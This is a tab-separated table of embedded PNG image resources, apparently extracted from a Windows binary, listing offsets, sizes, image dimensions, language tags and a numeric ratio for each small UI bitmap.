PNG	0x26ec78	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.012101210121012
PNG	0x26f008	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0179445350734095
PNG	0x26f270	0x11a	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0319148936170213
PNG	0x26f38c	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	English	United States	1.011764705882353
PNG	0x26f438	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0268456375838926
PNG	0x26f564	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.021113243761996
PNG	0x26f770	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0244897959183674
PNG	0x26f868	0xa6	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0180722891566265
PNG	0x26f910	0x150	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	English	United States	1.0327380952380953
PNG	0x26fa60	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0174418604651163
PNG	0x26fb0c	0x89	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x26fb98	0x98	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006578947368421
PNG	0x26fc30	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006896551724138
PNG	0x26fcc4	0x7d	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.008
PNG	0x26fd44	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x26fdec	0xbc	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0159574468085106
PNG	0x26fea8	0xa07	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	English	United States	1.004285157771718
PNG	0x2708b0	0x1de1	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	English	United States	1.0014380964832004
PNG	0x272694	0x1be	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0246636771300448
PNG	0x272854	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0082150858849888
PNG	0x272d90	0x440	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.010110294117647
PNG	0x2731d0	0x12e	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0298013245033113
PNG	0x273300	0x5b1	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0075497597803706
PNG	0x2738b4	0x408	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0106589147286822
PNG	0x273cbc	0x471	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.009674582233949
PNG	0x274130	0x4b7	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0091135045567523
PNG	0x2745e8	0x481	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0095403295750216
PNG	0x274a6c	0x3ec	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0109561752988048
PNG	0x274e58	0x452	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0099457504520795
PNG	0x2752ac	0x414	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.010536398467433
PNG	0x2756c0	0x39e	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.011879049676026
PNG	0x275a60	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009442060085837
PNG	0x275ef0	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.025287356321839
PNG	0x2760a4	0xea	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0299145299145298
PNG	0x276190	0x1ae0	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	English	United States	1.0015988372093023
PNG	0x277c70	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0038154699965314
PNG	0x2787b4	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0071197411003237
PNG	0x278dc0	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	English	United States	1.0017410572966128
PNG	0x27a670	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	English	United States	1.0024602997092373
PNG	0x27b7e8	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	English	United States	1.0011330861145447
PNG	0x27ddd4	0xacb	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0039811798769454
PNG	0x27e8a0	0xbc8	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0036472148541113
PNG	0x27f468	0xc2e	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0035279025016035
PNG	0x280098	0x5dd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0073284477015323
PNG	0x280678	0x597	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0076869322152342
PNG	0x280c10	0x5f8	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.007198952879581
PNG	0x281208	0x237	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.0194003527336861
PNG	0x281440	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	English	United States	1.0077683615819208
PNG	0x2819c8	0x4b6	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0091210613598673
PNG	0x281e80	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0082706766917293
PNG	0x2823b4	0x5fe	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0071707953063884
PNG	0x2829b4	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	0.9960440802486578
PNG	0x283788	0x7c	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9919354838709677
PNG	0x283804	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021752026893416
PNG	0x284bc8	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0123180291153415
PNG	0x284f48	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0119956379498365
PNG	0x2852e0	0x125e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023394300297745
PNG	0x286540	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021808088818398
PNG	0x2878f4	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126002290950744
PNG	0x287c60	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0113168724279835
PNG	0x28802c	0x1320	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002246732026144
PNG	0x28934c	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021842732327244
PNG	0x28a6f8	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012672811059908
PNG	0x28aa5c	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0115303983228512
PNG	0x28ae18	0x1274	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023285351397122
PNG	0x28c08c	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021899263388414
PNG	0x28d42c	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0122767857142858
PNG	0x28d7ac	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0129411764705882
PNG	0x28db00	0x1288	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002318718381113
PNG	0x28ed88	0x211	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0207939508506616
PNG	0x28ef9c	0x2e4	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0148648648648648
PNG	0x28f280	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021838395870557
PNG	0x290630	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126582278481013
PNG	0x290998	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x290d0c	0x126b	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023329798515377
PNG	0x291f78	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.028301886792453
PNG	0x29204c	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.00219473264166
PNG	0x2933e0	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x293754	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0108695652173914
PNG	0x293b48	0x1304	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0022596548890714
PNG	0x294e4c	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021934197407776
PNG	0x2961e4	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0124575311438277
PNG	0x296558	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0132689987937273
PNG	0x296898	0x119e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002439024390244
PNG	0x297a38	0xa6	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x297ae0	0x211	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0207939508506616
PNG	0x297cf4	0x2f7	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0144927536231885
PNG	0x297fec	0x16e	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.030054644808743
PNG	0x29815c	0x73	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	English	United States	0.9826086956521739
PNG	0x2981d0	0x117	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.021505376344086
PNG	0x2982e8	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	English	United States	0.9902912621359223
PNG	0x298350	0xce	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0242718446601942
PNG	0x298420	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.9733231707317073
PNG	0x298e60	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0171073094867806
PNG	0x2990e4	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0136054421768708
PNG	0x299178	0x96a	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.004564315352697
PNG	0x299ae4	0x99b	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.0044733631557543
PNG	0x29a480	0x2f7	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	English	United States	1.0144927536231885
PNG	0x29a778	0x1ff	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0215264187866928
PNG	0x29a978	0x1f7	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.021868787276342
PNG	0x29ab70	0xb6	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	English	United States	1.010989010989011
PNG	0x29ac28	0x94	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0135135135135136
PNG	0x29acbc	0x3e6	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0110220440881763
PNG	0x29b0a4	0x3e6	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0110220440881763
PNG	0x29b48c	0x315	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0139416983523448
PNG	0x29b7a4	0x259	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0183028286189684
PNG	0x29ba00	0x205	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0212765957446808
PNG	0x29bc08	0x176	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0294117647058822
PNG	0x29bd80	0x124	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0136986301369864
PNG	0x29bea4	0xd7	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x29bf7c	0x28f	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.016793893129771
PNG	0x29c20c	0x225	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0200364298724955
PNG	0x29c434	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	0.9960440802486578
PNG	0x29d208	0x123	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0378006872852235
PNG	0x29d32c	0x10b	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.0337078651685394
PNG	0x29d438	0x83	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0076335877862594
PNG	0x29d4bc	0x12f	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	English	United States	1.0264026402640265
PNG	0x29d5ec	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009442060085837
PNG	0x29da7c	0x261	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0180623973727423
PNG	0x29dce0	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	English	United States	0.9752066115702479
PNG	0x29dd5c	0x1b5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9931350114416476
PNG	0x29df14	0x293	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0166919575113809
PNG	0x29e1a8	0x11a	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9716312056737588
PNG	0x29e2c4	0xde	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	English	United States	1.027027027027027
PNG	0x29e3a4	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.012101210121012
PNG	0x29e734	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0179445350734095
PNG	0x29e99c	0x124	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0308219178082192
PNG	0x29eac0	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	English	United States	1.011764705882353
PNG	0x29eb6c	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0268456375838926
PNG	0x29ec98	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.021113243761996
PNG	0x29eea4	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0244897959183674
PNG	0x29ef9c	0x9f	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0125786163522013
PNG	0x29f03c	0x148	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	English	United States	1.0335365853658536
PNG	0x29f184	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0174418604651163
PNG	0x29f230	0x8b	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.014388489208633
PNG	0x29f2bc	0xa4	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.0
PNG	0x29f360	0x94	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.0067567567567568
PNG	0x29f3f4	0x87	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0
PNG	0x29f47c	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x29f524	0xc5	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0203045685279188
PNG	0x29f5ec	0xa54	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	English	United States	1.004160363086233
PNG	0x2a0040	0x1eda	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	English	United States	1.001392757660167
PNG	0x2a1f1c	0x1cb	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0239651416122004
PNG	0x2a20e8	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0082150858849888
PNG	0x2a2624	0x4f3	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0086819258089976
PNG	0x2a2b18	0x11a	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.024822695035461
PNG	0x2a2c34	0x5af	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0075601374570446
PNG	0x2a31e4	0x3ff	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.010752688172043
PNG	0x2a35e4	0x461	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0098126672613739
PNG	0x2a3a48	0x4cc	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.008957654723127
PNG	0x2a3f14	0x474	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0096491228070175
PNG	0x2a4388	0x3ef	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0109235352532273
PNG	0x2a4778	0x44a	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0100182149362478
PNG	0x2a4bc4	0x41f	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0104265402843602
PNG	0x2a4fe4	0x39b	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0119176598049837
PNG	0x2a5380	0x4a1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009282700421941
PNG	0x2a5824	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.025287356321839
PNG	0x2a59d8	0xf9	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.036144578313253
PNG	0x2a5ad4	0x1bfa	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	English	United States	1.001535883831332
PNG	0x2a76d0	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0038154699965314
PNG	0x2a8214	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0071197411003237
PNG	0x2a8820	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	English	United States	1.0017410572966128
PNG	0x2aa0d0	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	English	United States	1.0024602997092373
PNG	0x2ab248	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	English	United States	1.0011330861145447
PNG	0x2ad834	0xac7	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0039869517941282
PNG	0x2ae2fc	0xa82	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.004089219330855
PNG	0x2aed80	0xac7	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0039869517941282
PNG	0x2af848	0x5d3	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0073775989268947
PNG	0x2afe1c	0x575	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0078740157480315
PNG	0x2b0394	0x5ea	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0072655217965654
PNG	0x2b0980	0x222	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.02014652014652
PNG	0x2b0ba4	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	English	United States	1.0077683615819208
PNG	0x2b112c	0x552	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0080763582966226
PNG	0x2b1680	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0082706766917293
PNG	0x2b1bb4	0x624	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.006997455470738
PNG	0x2b21d8	0xf6f	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0027841052898
PNG	0x2b3148	0x98	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.013157894736842
PNG	0x2b31e0	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021752026893416
PNG	0x2b45a4	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0123180291153415
PNG	0x2b4924	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0119956379498365
PNG	0x2b4cbc	0xbea	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0036065573770492
PNG	0x2b58a8	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021808088818398
PNG	0x2b6c5c	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126002290950744
PNG	0x2b6fc8	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0113168724279835
PNG	0x2b7394	0xcb2	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0033846153846153
PNG	0x2b8048	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021842732327244
PNG	0x2b93f4	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012672811059908
PNG	0x2b9758	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0115303983228512
PNG	0x2b9b14	0xbff	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0035818951481603
PNG	0x2ba714	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021899263388414
PNG	0x2bbab4	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0122767857142858
PNG	0x2bbe34	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0129411764705882
PNG	0x2bc188	0xbf8	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0035900783289817
PNG	0x2bcd80	0x1e3	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0227743271221532
PNG	0x2bcf64	0x3d2	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0112474437627812
PNG	0x2bd338	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021838395870557
PNG	0x2be6e8	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126582278481013
PNG	0x2bea50	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x2bedc4	0xb9a	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0037037037037038
PNG	0x2bf960	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.028301886792453
PNG	0x2bfa34	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.00219473264166
PNG	0x2c0dc8	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x2c113c	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0108695652173914
PNG	0x2c1530	0xc62	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0034700315457412
PNG	0x2c2194	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021934197407776
PNG	0x2c352c	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0124575311438277
PNG	0x2c38a0	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0132689987937273
PNG	0x2c3be0	0xb84	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0003392130257802
PNG	0x2c4764	0xb1	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0169491525423728
PNG	0x2c4818	0x1da	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0232067510548524
PNG	0x2c49f4	0x375	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0124293785310734
PNG	0x2c4d6c	0x1a5	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0261282660332542
PNG	0x2c4f14	0x71	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	English	United States	0.9911504424778761
PNG	0x2c4f88	0x11a	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0283687943262412
PNG	0x2c50a4	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	English	United States	0.9902912621359223
PNG	0x2c510c	0xe0	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.03125
PNG	0x2c51ec	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.9733231707317073
PNG	0x2c5c2c	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0171073094867806
PNG	0x2c5eb0	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0136054421768708
PNG	0x2c5f44	0x985	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.00451374640952
PNG	0x2c68cc	0x9ca	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.00438946528332
PNG	0x2c7298	0x339	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	English	United States	1.0133333333333334
PNG	0x2c75d4	0x214	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0206766917293233
PNG	0x2c77e8	0x22e	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0197132616487454
PNG	0x2c7a18	0xb3	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	English	United States	1.011173184357542
PNG	0x2c7acc	0x95	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	0.9932885906040269
PNG	0x2c7b64	0x414	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.010536398467433
PNG	0x2c7f78	0x414	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.010536398467433
PNG	0x2c838c	0x1fb	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0216962524654833
PNG	0x2c8588	0x179	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0159151193633953
PNG	0x2c8704	0x179	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0053050397877985
PNG	0x2c8880	0x114	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0289855072463767
PNG	0x2c8994	0x10e	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.011111111111111
PNG	0x2c8aa4	0xb6	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0054945054945055
PNG	0x2c8b5c	0x17e	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0287958115183247
PNG	0x2c8cdc	0x15c	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0201149425287357
PNG	0x2c8e38	0xf6f	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0027841052898
PNG	0x2c9da8	0x143	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0340557275541795
PNG	0x2c9eec	0x110	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.0294117647058822
PNG	0x2c9ffc	0x87	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0074074074074073
PNG	0x2ca084	0x13b	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	English	United States	1.0253968253968253
PNG	0x2ca1c0	0x4a1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009282700421941
PNG	0x2ca664	0x25e	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.018151815181518
PNG	0x2ca8c4	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	English	United States	0.9752066115702479
